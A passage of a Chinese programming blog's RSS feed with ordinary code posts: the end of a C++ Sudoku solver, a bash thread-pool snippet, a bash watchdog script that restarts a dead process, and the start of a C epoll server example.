#008000; ">with&nbsp;many&nbsp;answers</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">214</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;question&nbsp;=&nbsp;".2<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..4<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />836..51<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" />63887<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..63195<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..4<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" />5<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />.4.7.2.98<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..";<br /><span style="color: #008080; ">215</span>&nbsp;<br /><span style="color: #008080; ">216</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">with&nbsp;just&nbsp;one&nbsp;answer:&nbsp;</span><span style="color: #008000; text-decoration: underline; ">https://baike.baidu.com/item/%E4%B8%96%E7%95%8C%E6%9C%80%E9%9A%BE%E6%95%B0%E7%8B%AC/13848819</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">217</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;question&nbsp;=&nbsp;"..53<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..8<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" />2..7..1.5..4<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />.53<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />1..7<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />6..32<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />8..6.5<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />.9..4<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />.3<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" />97..";<br /><span style="color: #008080; ">218</span>&nbsp;<br /><span style="color: #008080; ">219</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;find_all_answers&nbsp;=&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">220</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(argc&nbsp;&gt;&nbsp;1&nbsp;&amp;&amp;&nbsp;81&nbsp;==&nbsp;strlen(argv[1]))&nbsp;{<br /><span style="color: #008080; ">221</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;question&nbsp;=&nbsp;argv[1];<br /><span style="color: #008080; ">222</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br /><span style="color: #008080; ">223</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(argc&nbsp;&gt;&nbsp;1)&nbsp;{<br /><span style="color: #008080; ">224</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;find_all_answers&nbsp;=&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">225</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">226</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;question&nbsp;=&nbsp;Sudoku::ProvideOneQuestionRandomly();<br /><span style="color: #008080; ">227</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">228</span>&nbsp;<br /><span style="color: #008080; ">229</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku::PrintSudoku(question);<br /><span style="color: #008080; ">230</span>&nbsp;<br /><span style="color: #008080; ">231</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku&nbsp;sudoku(question,&nbsp;find_all_answers);<br /><span style="color: #008080; ">232</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sudoku.Solve();<br /><span style="color: #008080; ">233</span>&nbsp;<br /><span style="color: #008080; ">234</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">set</span>&lt;std::<span style="color: #0000FF; ">string</span>&gt;&amp;&nbsp;all_answers&nbsp;=&nbsp;sudoku.GiveAllAnswers();<br /><span style="color: #008080; ">235</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;idx&nbsp;=&nbsp;0;<br /><span style="color: #008080; ">236</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">typeof</span>(all_answers.begin())&nbsp;iter&nbsp;=&nbsp;all_answers.begin();&nbsp;all_answers.end()&nbsp;!=&nbsp;iter;&nbsp;++iter)&nbsp;{<br /><span style="color: #008080; ">237</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;"answer&nbsp;"&nbsp;&lt;&lt;&nbsp;++idx&nbsp;&lt;&lt;&nbsp;"&nbsp;for&nbsp;this&nbsp;sudoku&nbsp;is:"&nbsp;&lt;&lt;&nbsp;std::endl;<br /><span style="color: #008080; ">238</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku::PrintSudoku(*iter);<br /><span style="color: #008080; ">239</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!Sudoku::ValidateOneAnswer(*iter))&nbsp;{<br /><span style="color: #008080; ">240</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;"answer&nbsp;is&nbsp;not&nbsp;correct:&nbsp;"&nbsp;&lt;&lt;&nbsp;*iter&nbsp;&lt;&lt;&nbsp;std::endl;<br /><span style="color: #008080; ">241</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">242</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;"["&nbsp;&lt;&lt;&nbsp;*iter&nbsp;&lt;&lt;&nbsp;"]"&nbsp;&lt;&lt;&nbsp;std::endl;<br /><span style="color: #008080; ">243</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">244</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br /><span style="color: #008080; ">245</span>&nbsp;}<br /><span style="color: #008080; ">246</span>&nbsp;</div></div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/432875.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-11-03 17:19 <a href="http://www.blogjava.net/bacoo/archive/2017/11/03/432875.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bash实现线程池</title><link>http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Tue, 25 Jul 2017 12:19:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432688.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432688.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432688.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: #!/bin/bashTHREAD_NUM=5tfile=$(mktemp /tmp/.foo.XXXXXXXX)rm -f $tfilemkfifo $tfileexec 9&lt;&gt;$tfilefor ((i=0;i&lt;$THREAD_NUM;i++)); do&nbsp; echo 1&gt;&amp;9donewhile read line; do&nbsp; read -u 9...&nbsp;&nbsp;<a href='http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html'>阅读全文</a><img src ="http://www.blogjava.net/bacoo/aggbug/432688.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-07-25 20:19 <a href="http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>watchdog_pid.sh</title><link>http://www.blogjava.net/bacoo/archive/2017/04/06/432435.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 06 Apr 2017 08:00:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/04/06/432435.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432435.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/04/06/432435.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432435.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432435.html</trackback:ping><description><![CDATA[<div>#!/bin/bash</div><div></div><div>#ulimit -c unlimited</div><div>export PS4='+{$LINENO($(date +"%F %T")):${FUNCNAME[0]}} '</div><div>full_path=$(readlink -f $0)</div><div>#cd $(dirname $full_path)</div><div>#exec 1&gt;${full_path%.*}.log</div><div>exec 2&gt;${full_path%.*}.err</div><div>set -x</div><div></div><div>usage() {</div><div>&nbsp; &nbsp; printf \</div><div>"Usage: %s &lt;pid|pid_file&gt; &lt;start_cmd|start_script&gt;\n\n \</div><div>&nbsp;pid|pid_file &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; process pid or the pid file containing the pid of process to be supervised\n \</div><div>&nbsp;start_cmd|start_script &nbsp; &nbsp; &nbsp; start commands or start script if process dead\n \</div><div>\n" $1</div><div>&nbsp; &nbsp; exit 1</div><div>}</div><div></div><div>if [ $# -lt 2 ]; then</div><div>&nbsp; &nbsp; usage $0</div><div>fi</div><div></div><div>pid_way=$1</div><div>if [ "" != "${pid_way//[0-9]}" -a -s "$pid_way" ]; then</div><div>&nbsp; &nbsp; pid_file=$(readlink -f $pid_way)</div><div>else</div><div>&nbsp; &nbsp; pid_id=$pid_way</div><div>&nbsp; &nbsp; pinfo=($(ps -eo uid,pid,args | awk -v pid=$pid_id '{if($2==pid)print $0}'))</div><div>&nbsp; &nbsp; puid=${pinfo[0]}</div><div>&nbsp; &nbsp; pname=${pinfo[2]}</div><div>&nbsp; &nbsp; if [ "" == "$puid" -o "" == "$pname" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo "Couldn't find the process with the pid $pid_id"</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exit 2</div><div>&nbsp; &nbsp; fi</div><div>fi</div><div></div><div>cmd=($2)</div><div>if [ -s "${cmd[0]}" ]; then</div><div>&nbsp; &nbsp; start_way=$(readlink -f ${cmd[0]})</div><div>&nbsp; &nbsp; for ((i=1; i&lt;${#cmd[@]}; ++i)); do</div><div>&nbsp; &nbsp; &nbsp; &nbsp; start_way="$start_way ""${cmd[$i]}"</div><div>&nbsp; &nbsp; done</div><div>&nbsp; &nbsp; shift 2</div><div>&nbsp; &nbsp; start_way="$start_way ""$@"</div><div>else</div><div>&nbsp; &nbsp; shift 1</div><div>&nbsp; &nbsp; start_way="$@"</div><div>fi</div><div></div><div>while true; do</div><div>&nbsp; &nbsp; if [ "" != "$pid_id" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pid=$pid_id</div><div>&nbsp; &nbsp; else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; pid=$(cat $pid_file)</div><div>&nbsp; &nbsp; fi</div><div></div><div>&nbsp; &nbsp; if [ "" != "$pid" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if ! kill -0 $pid; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; now=$(date +%s)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $start_way &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #sleep 60</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "" != "$pid_id" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tm_fields_num=$(ps -eo lstart | tail -1 | awk '{print NF}')</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; find_new_process=0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id_bak=()</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while read line; do</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pstarttime=$(date -d "${line#* }" +%s)&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "$pstarttime" -ge "$now" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id_tmp=${line%% *}</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pinfo_new=($(ps -eo uid,pid,args | awk -v pid=$pid_id_tmp '{if($2==pid)print $0}'))</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "0" == "${#pinfo_new[@]}" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; diff_fields_num=0</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for ((i=3; i&lt;(${#pinfo[@]} &gt; ${#pinfo_new[@]} ? ${#pinfo[@]} : ${#pinfo_new[@]}); ++i)); do</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "${pinfo[$i]}" != "${pinfo_new[$i]}" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ((++diff_fields_num))</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "0" -eq "$diff_fields_num" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id=$pid_id_tmp</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "$((++find_new_process))" -gt "1" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit 1</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id_bak[$diff_fields_num]=$pid_id_tmp</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done &lt; &lt;(ps -eo uid,pid,lstart,args | awk -v puid=$puid -v pname=$pname -v tfn=$tm_fields_num '{if($1==puid &amp;&amp; $(3+tfn)==pname){printf "%d ", $2; for(i=3;i&lt;3+tfn;++i) printf "%s ", $i; printf "\n";}}')</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "0" == "$find_new_process" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id=${pid_id_bak[@]}</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pid_id=${pid_id%% *}</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tm_new_pid_file=$(date -d "$(stat $pid_file | grep ^Modify: | sed 's#Modify:##')" +%s)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if [ "$tm_new_pid_file" -lt "$now" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit 2</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; &nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; #sleep 1</div><div>&nbsp; &nbsp; if [ "$(ls -l ${full_path%.*}.err | awk '{print $5}')" -ge $((1024 * 1024 * 1024)) ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; set +x</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exec 2&gt;/dev/null</div><div>&nbsp; &nbsp; &nbsp; &nbsp; cp ${full_path%.*}.err ${full_path%.*}.err.last</div><div>&nbsp; &nbsp; &nbsp; &nbsp; rm -f ${full_path%.*}.err</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exec 2&gt;${full_path%.*}.err</div><div>&nbsp; &nbsp; &nbsp; &nbsp; set -x</div><div>&nbsp; &nbsp; fi</div><div>done</div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/432435.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-04-06 16:00 <a href="http://www.blogjava.net/bacoo/archive/2017/04/06/432435.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>epoll example for test later</title><link>http://www.blogjava.net/bacoo/archive/2016/06/22/430993.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 22 Jun 2016 09:23:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/06/22/430993.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/430993.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/06/22/430993.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/430993.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/430993.html</trackback:ping><description><![CDATA[<div>curl https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/epoll-example.c<br /><br /><div>#include &lt;stdio.h&gt;</div><div>#include &lt;stdlib.h&gt;</div><div>#include &lt;string.h&gt;</div><div>#include &lt;sys/types.h&gt;</div><div>#include &lt;sys/socket.h&gt;</div><div>#include &lt;netdb.h&gt;</div><div>#include &lt;unistd.h&gt;</div><div>#include &lt;fcntl.h&gt;</div><div>#include &lt;sys/epoll.h&gt;</div><div>#include &lt;errno.h&gt;</div><div></div><div>#define MAXEVENTS 64</div><div></div><div>static int make_socket_non_blocking(int sfd) {</div><div>&nbsp; &nbsp; int flags, s;</div><div></div><div>&nbsp; &nbsp; flags = fcntl(sfd, F_GETFL, 0);</div><div>&nbsp; &nbsp; if (flags == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("fcntl");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; flags |= O_NONBLOCK;</div><div>&nbsp; &nbsp; s = fcntl(sfd, F_SETFL, flags);</div><div>&nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("fcntl");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; return 0;</div><div>}</div><div></div><div>static int create_and_bind(char *port) {</div><div>&nbsp; &nbsp; struct addrinfo hints;</div><div>&nbsp; &nbsp; struct addrinfo *result, *rp;</div><div>&nbsp; &nbsp; int s, sfd;</div><div></div><div>&nbsp; &nbsp; memset(&amp;hints, 0, sizeof(struct addrinfo));</div><div>&nbsp; &nbsp; hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */</div><div>&nbsp; &nbsp; hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */</div><div>&nbsp; &nbsp; hints.ai_flags = AI_PASSIVE; /* All interfaces */</div><div></div><div>&nbsp; &nbsp; s = getaddrinfo(NULL, port, &amp;hints, &amp;result);</div><div>&nbsp; &nbsp; if (s != 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s));</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; for (rp = result; rp != NULL; rp = rp-&gt;ai_next) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; sfd = socket(rp-&gt;ai_family, rp-&gt;ai_socktype, rp-&gt;ai_protocol);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (sfd == -1)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; s = bind(sfd, rp-&gt;ai_addr, rp-&gt;ai_addrlen);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; if (s == 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* We managed to bind successfully! */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; close(sfd);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; if (rp == NULL) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, "Could not bind\n");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; freeaddrinfo(result);</div><div></div><div>&nbsp; &nbsp; return sfd;</div><div>}</div><div></div><div>int main(int argc, char *argv[]) {</div><div>&nbsp; &nbsp; int sfd, s;</div><div>&nbsp; &nbsp; int efd;</div><div>&nbsp; &nbsp; struct epoll_event event;</div><div>&nbsp; &nbsp; struct epoll_event *events;</div><div></div><div>&nbsp; &nbsp; if (argc != 2) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, "Usage: %s [port]\n", argv[0]);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exit(EXIT_FAILURE);</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; sfd = create_and_bind(argv[1]);</div><div>&nbsp; &nbsp; if (sfd == -1)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div></div><div>&nbsp; &nbsp; s = make_socket_non_blocking(sfd);</div><div>&nbsp; &nbsp; if (s == -1)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div></div><div>&nbsp; &nbsp; s = listen(sfd, SOMAXCONN);</div><div>&nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("listen");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; efd = epoll_create1(0);</div><div>&nbsp; &nbsp; if (efd == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("epoll_create");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; event.data.fd = sfd;</div><div>&nbsp; &nbsp; event.events = EPOLLIN | EPOLLET;</div><div>&nbsp; &nbsp; s = epoll_ctl(efd, EPOLL_CTL_ADD, sfd, &amp;event);</div><div>&nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; perror("epoll_ctl");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; /* Buffer where events are returned */</div><div>&nbsp; &nbsp; events = calloc(MAXEVENTS, sizeof event);</div><div></div><div>&nbsp; &nbsp; /* The event loop */</div><div>&nbsp; &nbsp; while (1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; int n, i;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; n = epoll_wait(efd, events, MAXEVENTS, -1);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for (i = 0; i &lt; n; i++) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((events[i].events &amp; EPOLLERR) || (events[i].events &amp; EPOLLHUP) || (!(events[i].events &amp; EPOLLIN))) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* An error has occured on this fd, or the socket is not</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ready for reading (why were we notified then?) */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fprintf(stderr, "epoll error\n");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close(events[i].data.fd);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else if (sfd == events[i].data.fd) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* We have a notification on the listening socket, which</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;means one or more incoming connections. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (1) {</div><div>&nbsp; &nbsp; &nbsp; 